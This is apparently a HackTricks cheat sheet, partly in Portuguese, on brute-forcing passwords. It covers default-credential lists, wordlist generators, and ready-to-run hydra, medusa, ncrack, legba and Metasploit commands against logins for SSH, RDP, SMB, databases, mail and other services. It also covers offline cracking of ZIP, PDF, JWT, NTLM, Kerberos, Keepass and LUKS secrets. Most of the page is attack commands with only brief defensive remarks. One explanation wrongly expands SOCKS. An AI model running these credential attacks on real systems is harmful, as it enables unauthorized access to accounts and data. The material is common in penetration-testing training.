# Brute Force - CheatSheet
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Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! Outras maneiras de apoiar o HackTricks: * Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou nos siga no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
## Credenciais Padrão **Pesquise no Google** por credenciais padrão da tecnologia que está sendo usada, ou **experimente estes links**: * [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet) * [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html) * [**http://www.vulnerabilityassessment.co.uk/passwordsC.htm**](http://www.vulnerabilityassessment.co.uk/passwordsC.htm) * [**https://192-168-1-1ip.mobi/default-router-passwords-list/**](https://192-168-1-1ip.mobi/default-router-passwords-list/) * [**https://datarecovery.com/rd/default-passwords/**](https://datarecovery.com/rd/default-passwords/) * [**https://bizuns.com/default-passwords-list**](https://bizuns.com/default-passwords-list) * [**https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv**](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv) * [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium) * [**https://www.cirt.net/passwords**](https://www.cirt.net/passwords) * [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com) * [**https://many-passwords.github.io/**](https://many-passwords.github.io) * [**https://theinfocentric.com/**](https://theinfocentric.com/) ## **Crie seus próprios Dicionários** Encontre o máximo de informações sobre o alvo que puder e gere um dicionário personalizado. Ferramentas que podem ajudar: ### Crunch ```bash crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst) @ Lower case alpha characters , Upper case alpha characters % Numeric characters ^ Special characters including spac crunch 6 8 -t ,@@^^%% ``` ### Cewl Cewl é uma ferramenta de código aberto que é usada para criar listas de palavras-chave a partir de um site ou documento. ```bash cewl example.com -m 5 -w words.txt ``` ### [CUPP](https://github.com/Mebus/cupp) Gerar senhas com base no seu conhecimento sobre a vítima (nomes, datas...) ``` python3 cupp.py -h ``` ### [Wister](https://github.com/cycurity/wister) Uma ferramenta geradora de listas de palavras, que permite fornecer um conjunto de palavras, dando-lhe a possibilidade de criar várias variações a partir das palavras fornecidas, criando uma lista de palavras única e ideal para usar em relação a um alvo específico. ```bash python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst __ _______ _____ _______ ______ _____ \ \ / /_ _|/ ____|__ __| ____| __ \ \ \ /\ / / | | | (___ | | | |__ | |__) | \ \/ \/ / | | \___ \ | | | __| | _ / \ /\ / _| |_ ____) | | | | |____| | \ \ \/ \/ |_____|_____/ |_| |______|_| \_\ Version 1.0.3 Cycurity Generating wordlist... [########################################] 100% Generated 67885 lines. Finished in 0.920s. ``` ### [pydictor](https://github.com/LandGrey/pydictor) ### Listas de Palavras * [**https://github.com/danielmiessler/SecLists**](https://github.com/danielmiessler/SecLists) * [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium) * [**https://github.com/kaonashi-passwords/Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi) * [**https://github.com/google/fuzzing/tree/master/dictionaries**](https://github.com/google/fuzzing/tree/master/dictionaries) * [**https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm**](https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm) * [**https://weakpass.com/wordlist/**](https://weakpass.com/wordlist/) * [**https://wordlists.assetnote.io/**](https://wordlists.assetnote.io/) * [**https://github.com/fssecur3/fuzzlists**](https://github.com/fssecur3/fuzzlists) * [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager) * [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists)
\ Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\ Acesse hoje: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Serviços Ordenados alfabeticamente pelo nome do serviço. ### AFP ```bash nmap -p 548 --script afp-brute msf> use auxiliary/scanner/afp/afp_login msf> set BLANK_PASSWORDS true msf> set USER_AS_PASS true msf> set PASS_FILE msf> set USER_FILE msf> run ``` ### AJP AJP (Apache JServ Protocol) is a binary protocol that can be used to proxy requests from a web server to a Java application server. It is similar to HTTP, but more efficient when communicating with Java application servers. A common attack against AJP is to perform a brute force attack to guess usernames and passwords. ```bash nmap --script ajp-brute -p 8009 ``` ## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace) ```bash legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl] ``` ### Cassandra ```bash nmap --script cassandra-brute -p 9160 # legba ScyllaDB / Apache Casandra legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042 ``` ### CouchDB CouchDB é um banco de dados NoSQL que pode ser alvo de ataques de força bruta. ```bash msf> use auxiliary/scanner/couchdb/couchdb_login hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get / ``` ### Registro do Docker ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/ ``` ### Elasticsearch #### Brute Force Brute force attacks against Elasticsearch typically involve trying to guess the credentials of the Elasticsearch instance by repeatedly trying different username and password combinations. This can be done using automated tools that systematically generate and test different combinations until the correct one is found. To protect against brute force attacks, it is recommended to: - Use strong and unique passwords for Elasticsearch accounts. - Implement account lockout policies to prevent multiple failed login attempts. - Monitor Elasticsearch logs for any suspicious login activities. - Limit access to Elasticsearch instances to only authorized users. - Keep Elasticsearch and its dependencies up to date with the latest security patches. ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get / ``` ### FTP FTP (File Transfer Protocol) é um protocolo padrão usado para transferir arquivos pela rede. ```bash hydra -l root -P passwords.txt [-t 32] ftp ncrack -p 21 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M ftp legba ftp --username admin --password wordlists/passwords.txt --target localhost:21 ``` ### Brute Force Genérico HTTP #### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md) ### Autenticação Básica HTTP ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/ # Use https-get mode for https medusa -h -u -P -M http -m DIR:/path/to/auth -T 10 legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/ ``` ### HTTP - NTLM O método de autenticação NTLM (NT LAN Manager) é um protocolo de autenticação desafiador-resposta que é comumente usado em redes Windows. Ele pode ser alvo de ataques de força bruta para tentar adivinhar as credenciais de um usuário. ```bash legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ ``` ### HTTP - Post Form #### Brute Force Brute force attacks are a common method used to gain unauthorized access to a system by trying all possible combinations of usernames and passwords until the correct one is found. This technique can be used to exploit weak authentication mechanisms and gain access to sensitive information. #### Prevention To prevent brute force attacks, it is important to implement strong authentication mechanisms such as multi-factor authentication, account lockout policies, and CAPTCHA challenges. Additionally, monitoring and logging failed login attempts can help detect and mitigate brute force attacks in a timely manner. ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V # Use https-post-form mode for https ``` Para http**s** você tem que mudar de "http-post-form" para "**https-post-form"** ### **HTTP - CMS --** (W)ordpress, (J)oomla or (D)rupal or (M)oodle ```bash cmsmap -f W/J/D/M -u a -p a https://wordpress.com # Check also https://github.com/evilsocket/legba/wiki/HTTP ``` ### IMAP IMAP (Internet Message Access Protocol) is a standard email protocol that stores email messages on a mail server. When a hacker brute-forces IMAP, they attempt to gain unauthorized access to email accounts by trying various username and password combinations until the correct one is found. ```bash hydra -l USERNAME -P /path/to/passwords.txt -f imap -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f imap -V nmap -sV --script imap-brute -p legba imap --username user --password data/passwords.txt --target localhost:993 ``` ### IRC #### Brute Force Brute force attacks on IRC servers are typically carried out using automated scripts that attempt to guess usernames and passwords. These scripts can be easily found online and are often used by attackers to gain unauthorized access to IRC channels or servers. To protect against brute force attacks on IRC, it is important to use strong and unique passwords, enable account lockout policies, and monitor for any suspicious login activity. ```bash nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p ``` ### ISCSI ```bash nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 ``` ### JWT ```bash #hashcat hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt #https://github.com/Sjord/jwtcrack python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt #John john jwt.txt --wordlist=wordlists.txt --format=HMAC-SHA256 #https://github.com/ticarpi/jwt_tool python3 jwt_tool.py -d wordlists.txt #https://github.com/brendan-rius/c-jwt-cracker ./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 1234567890 8 #https://github.com/mazen160/jwt-pwn python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc -w wordlist.txt #https://github.com/lmammino/jwt-cracker jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6 ``` ### LDAP ```bash nmap --script ldap-brute -p 389 legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match ``` ### MQTT ### MQTT ``` ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt ``` ### Mongo ```bash nmap -sV --script mongodb-brute -n -p 27017 use auxiliary/scanner/mongodb/mongodb_login legba mongodb --target localhost:27017 --username root --password data/passwords.txt ``` ### MSSQL #### Brute Force Brute force attacks against MSSQL servers can be performed using tools like Hydra or Ncrack. These tools allow you to systematically try all possible combinations of usernames and passwords until the correct one is found. It is important to note that brute force attacks can be time-consuming and may trigger account lockouts or alarms on the target system. It is recommended to use strong and complex passwords, account lockout policies, and monitoring mechanisms to detect and prevent brute force attacks. ```bash legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433 ``` ### MySQL MySQL is a popular open-source relational database management system. It is commonly used in web applications to store and manage data. MySQL databases can be targeted using brute force attacks to gain unauthorized access. These attacks involve trying multiple username and password combinations until the correct one is found. It is important to use strong and unique credentials to protect MySQL databases from brute force attacks. ```bash # hydra hydra -L usernames.txt -P pass.txt mysql # msfconsole msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false # medusa medusa -h -u -P <-f | to stop medusa on first success attempt> -t -M mysql #Legba legba mysql --username root --password wordlists/passwords.txt --target localhost:3306 ``` ### OracleSQL #### Brute Force Brute force attacks against Oracle databases can be performed using tools like Hydra or custom scripts. These attacks involve trying all possible combinations of usernames and passwords until the correct one is found. It is important to note that brute force attacks can be time-consuming and resource-intensive, so they should be used as a last resort. Additionally, using strong and complex passwords can help mitigate the risk of a successful brute force attack. ```bash patator oracle_login sid= host= user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017 ./odat.py passwordguesser -s $SERVER -d $SID ./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt #msf1 msf> use admin/oracle/oracle_login msf> set RHOSTS msf> set RPORT 1521 msf> set SID #msf2, this option uses nmap and it fails sometimes for some reason msf> use scanner/oracle/oracle_login msf> set RHOSTS msf> set RPORTS 1521 msf> set SID #for some reason nmap fails sometimes when executing this script nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid= legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt ``` Para usar **oracle\_login** com **patator**, você precisa **instalar**: ```bash pip3 install cx_Oracle --upgrade ``` [Força bruta de hash OracleSQL offline](../network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**versões 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** e **11.2.0.3**): ```bash nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 ``` ### POP ### POP ```bash hydra -l USERNAME -P /path/to/passwords.txt -f pop3 -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f pop3 -V # Insecure legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:110 # SSL legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl ``` ### PostgreSQL PostgreSQL é um sistema de gerenciamento de banco de dados relacional de código aberto amplamente utilizado. É possível realizar ataques de força bruta contra servidores PostgreSQL para tentar adivinhar credenciais de acesso. ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt postgres medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres ncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt :5432 patator pgsql_login host= user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt use auxiliary/scanner/postgres/postgres_login nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 legba pgsql --username admin --password wordlists/passwords.txt --target localhost:5432 ``` ### PPTP Você pode baixar o pacote `.deb` para instalar em [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/) ```bash sudo dpkg -i thc-pptp-bruter*.deb #Install the package cat rockyou.txt | thc-pptp-bruter –u ``` ### RDP Remote Desktop Protocol (RDP) is a proprietary protocol developed by Microsoft, which provides a user with a graphical interface to connect to another computer over a network connection. RDP is commonly used for remote administration and accessing virtual desktops. ```bash ncrack -vv --user -P pwds.txt rdp:// hydra -V -f -L -P rdp:// legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain ] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon] ``` ### Redis ```bash msf> use auxiliary/scanner/redis/redis_login nmap --script redis-brute -p 6379 hydra –P /path/pass.txt redis://: # 6379 is the default legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl] ``` ### Rexec Rexec é um serviço que permite a execução remota de comandos em um sistema. Pode ser alvo de ataques de força bruta para tentar adivinhar credenciais de acesso. ```bash hydra -l -P rexec:// -v -V ``` ### Rlogin Rlogin é um protocolo de rede que permite a um usuário fazer login em um sistema remoto. É vulnerável a ataques de força bruta, nos quais um atacante tenta adivinhar a senha de um usuário tentando várias combinações possíveis. Para proteger contra ataques de força bruta, é recomendável usar senhas fortes e implementar medidas de segurança adicionais, como bloqueio de conta após várias tentativas falhas de login. ```bash hydra -l -P rlogin:// -v -V ``` ### Rsh #### Brute Force Brute force attacks are a common method used to gain unauthorized access to a system. This technique involves trying all possible combinations of usernames and passwords until the correct one is found. Brute force attacks can be time-consuming but are often successful if the passwords are weak or easily guessable. #### Mitigation To mitigate brute force attacks, it is essential to use strong, complex passwords that are not easily guessable. Implementing account lockout policies after a certain number of failed login attempts can also help prevent brute force attacks. Additionally, using multi-factor authentication can add an extra layer of security to protect against unauthorized access. ```bash hydra -L rsh:// -v -V ``` [http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind) ### Rsync ```bash nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 ``` ### RTSP ```bash hydra -l root -P passwords.txt rtsp ``` ### SFTP ```bash legba sftp --username admin --password wordlists/passwords.txt --target localhost:22 # Try keys from a folder legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22 ``` ### SNMP ```bash msf> use auxiliary/scanner/snmp/snmp_login nmap -sU --script snmp-brute [--script-args snmp-brute.communitiesdb= ] onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp ``` ### SMB ### SMB ```bash nmap --script smb-brute -p 445 hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1 legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup ] [--smb-share ] ``` ### SMTP SMTP (Simple Mail Transfer Protocol) é um protocolo padrão para envio de e-mails pela internet. ```bash hydra -l -P /path/to/passwords.txt smtp -V hydra -l -P /path/to/passwords.txt -s 587 -S -v -V #Port 587 for SMTP with SSL legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism ] ``` ### SOCKS SOCKS stands for **S**ocket **O**ver **C**omplete **K**its. It is a protocol that routes network packets between a client and a server through a proxy server. SOCKS operates at the transport layer and is used to bypass firewall restrictions and securely access resources on a network. ```bash nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 legba socks5 --target localhost:1080 --username admin --password data/passwords.txt # With alternative address legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080 ``` ### SQL Server #### Brute Force Brute force attacks against SQL Server involve attempting to guess usernames and passwords to gain unauthorized access. This can be done using automated tools that systematically try different combinations until the correct one is found. It is important to use strong, complex passwords and implement account lockout policies to protect against brute force attacks. ```bash #Use the NetBIOS name of the machine as domain crackmapexec mssql -d -u usernames.txt -p passwords.txt hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt mssql medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssql nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT ``` ### SSH ### SSH ```bash hydra -l root -P passwords.txt [-t 32] ssh ncrack -p 22 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M ssh patator ssh_login host= port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed' legba ssh --username admin --password wordlists/passwords.txt --target localhost:22 # Try keys from a folder legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22 ``` #### Chaves SSH fracas / Debian PRNG previsível Alguns sistemas possuem falhas conhecidas na semente aleatória usada para gerar material criptográfico. Isso pode resultar em um espaço de chaves dramaticamente reduzido que pode ser quebrado por ferramentas como [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Conjuntos pré-gerados de chaves fracas também estão disponíveis, como [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). ### STOMP (ActiveMQ, RabbitMQ, HornetQ e OpenMQ) O protocolo de texto STOMP é um protocolo de mensagens amplamente utilizado que **permite comunicação e interação perfeitas com serviços populares de filas de mensagens** como RabbitMQ, ActiveMQ, HornetQ e OpenMQ. Ele fornece uma abordagem padronizada e eficiente para trocar mensagens e realizar várias operações de mensagens. ```bash legba stomp --target localhost:61613 --username admin --password data/passwords.txt ``` ### Telnet Telnet é um protocolo de rede que permite a comunicação bidirecional em uma rede. É comumente usado para acessar remotamente dispositivos como servidores, roteadores e switches para fins de gerenciamento. O Telnet pode ser alvo de ataques de força bruta, nos quais um hacker tenta adivinhar credenciais válidas através da tentativa de várias combinações de nomes de usuário e senhas. É importante garantir que senhas fortes e medidas de segurança adequadas sejam implementadas para proteger os dispositivos contra ataques de força bruta. ```bash hydra -l root -P passwords.txt [-t 32] telnet ncrack -p 23 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M telnet legba telnet \ --username admin \ --password wordlists/passwords.txt \ --target localhost:23 \ --telnet-user-prompt "login: " \ --telnet-pass-prompt "Password: " \ --telnet-prompt ":~$ " \ --single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin ``` ### VNC ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s vnc medusa -h –u root -P /root/Desktop/pass.txt –M vnc ncrack -V --user root -P /root/Desktop/pass.txt :>POR>T patator vnc_login host= password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0 use auxiliary/scanner/vnc/vnc_login nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 legba vnc --target localhost:5901 --password data/passwords.txt #Metasploit use auxiliary/scanner/vnc/vnc_login set RHOSTS set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst ``` ### Winrm ```bash crackmapexec winrm -d -u usernames.txt -p passwords.txt ```
\ Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas comunitárias mais avançadas do mundo.\ Acesse hoje mesmo: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Local ### Bancos de dados de quebra online * [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1) * [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 com/sem ESS/SSP e com qualquer valor de desafio) * [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashes, capturas WPA2 e arquivos MSOffice, ZIP, PDF...) * [https://crackstation.net/](https://crackstation.net) (Hashes) * [https://md5decrypt.net/](https://md5decrypt.net) (MD5) * [https://gpuhash.me/](https://gpuhash.me) (Hashes e hashes de arquivos) * [https://hashes.org/search.php](https://hashes.org/search.php) (Hashes) * [https://www.cmd5.org/](https://www.cmd5.org) (Hashes) * [https://hashkiller.co.uk/Cracker](https://hashkiller.co.uk/Cracker) (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512) * [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5) * [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com) Confira antes de tentar fazer força bruta em um Hash. ### ZIP ```bash #sudo apt-get install fcrackzip fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip ``` ```bash zip2john file.zip > zip.john john zip.john ``` ```bash #$zip2$*0*3*0*a56cb83812be3981ce2a83c581e4bc4f*4d7b*24*9af41ff662c29dfff13229eefad9a9043df07f2550b9ad7dfc7601f1a9e789b5ca402468*694b6ebb6067308bedcd*$/zip2$ hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt .\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack ``` #### Ataque conhecido de zip de texto simples Você precisa saber o **texto simples** (ou parte do texto simples) **de um arquivo contido dentro** do zip criptografado. Você pode verificar **nomes de arquivos e tamanho dos arquivos contidos dentro** de um zip criptografado executando: **`7z l encrypted.zip`**\ Baixe o [**bkcrack**](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) na página de lançamentos. ```bash # You need to create a zip file containing only the file that is inside the encrypted zip zip plaintext.zip plaintext.file ./bkcrack -C -c -P -p # Now wait, this should print a key such as 7b549874 ebc25ec5 7e465e18 # With that key you can create a new zip file with the content of encrypted.zip # but with a different pass that you set (so you can decrypt it) ./bkcrack -C -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd unzip unlocked.zip #User new_pwd as password ``` ### 7z ### 7z ```bash cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z ``` ```bash #Download and install requirements for 7z2john wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.pl apt-get install libcompress-raw-lzma-perl ./7z2john.pl file.7z > 7zhash.john ``` ### PDF #### Brute Force Brute force attacks consist of systematically checking all possible keys or passwords until the correct one is found. This method is time-consuming but effective, especially against weak passwords. #### Tools - **Hydra**: A popular tool for performing brute force attacks. It supports multiple protocols and services. - **Medusa**: Similar to Hydra, Medusa is a speedy, parallel, and modular login brute-forcer. - **Ncrack**: A high-speed network authentication cracking tool. It was designed for large-scale network audits. - **John the Ripper**: A well-known password-cracking tool that can perform both dictionary and brute force attacks. #### Techniques - **Dictionary Attack**: Involves using a predefined list of words to crack passwords. It is more efficient than brute force. - **Hybrid Attack**: Combines a dictionary attack with a brute force attack to increase the chances of success. - **Rainbow Table Attack**: Uses precomputed tables to crack passwords. It can be faster than traditional brute force methods. #### Prevention - **Use Strong Passwords**: Avoid using common words or patterns in passwords. - **Implement Account Lockout Policies**: Limit the number of login attempts to prevent brute force attacks. - **Multi-Factor Authentication**: Adds an extra layer of security to protect against brute force attacks. ```bash apt-get install pdfcrack pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt #pdf2john didn't work well, john didn't know which hash type was # To permanently decrypt the pdf sudo apt-get install qpdf qpdf --password= --decrypt encrypted.pdf plaintext.pdf ``` ### Senha do Proprietário do PDF Para quebrar a senha do proprietário de um PDF, verifique isso: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) ### JWT ```bash git clone https://github.com/Sjord/jwtcrack.git cd jwtcrack #Bruteforce using crackjwt.py python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt #Bruteforce using john python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john john jwt.john #It does not work with Kali-John ``` ### Quebra de NTLM ```bash Format:USUARIO:ID:HASH_LM:HASH_NT::: john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot ``` ### Keepass ```bash sudo apt-get install -y kpcli #Install keepass tools like keepass2john keepass2john file.kdbx > hash #The keepass is only using password keepass2john -k file.kdbx > hash # The keepass is also using a file as a needed credential #The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` ### Keberoasting ```bash john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt ./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi ``` ### Imagem Lucks #### Método 1 Instalação: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks) ```bash bruteforce-luks -f ./list.txt ./backup.img cryptsetup luksOpen backup.img mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen mount /dev/mapper/mylucksopen /mnt ``` #### Método 2 ```bash cryptsetup luksDump backup.img #Check that the payload offset is set to 4096 dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset 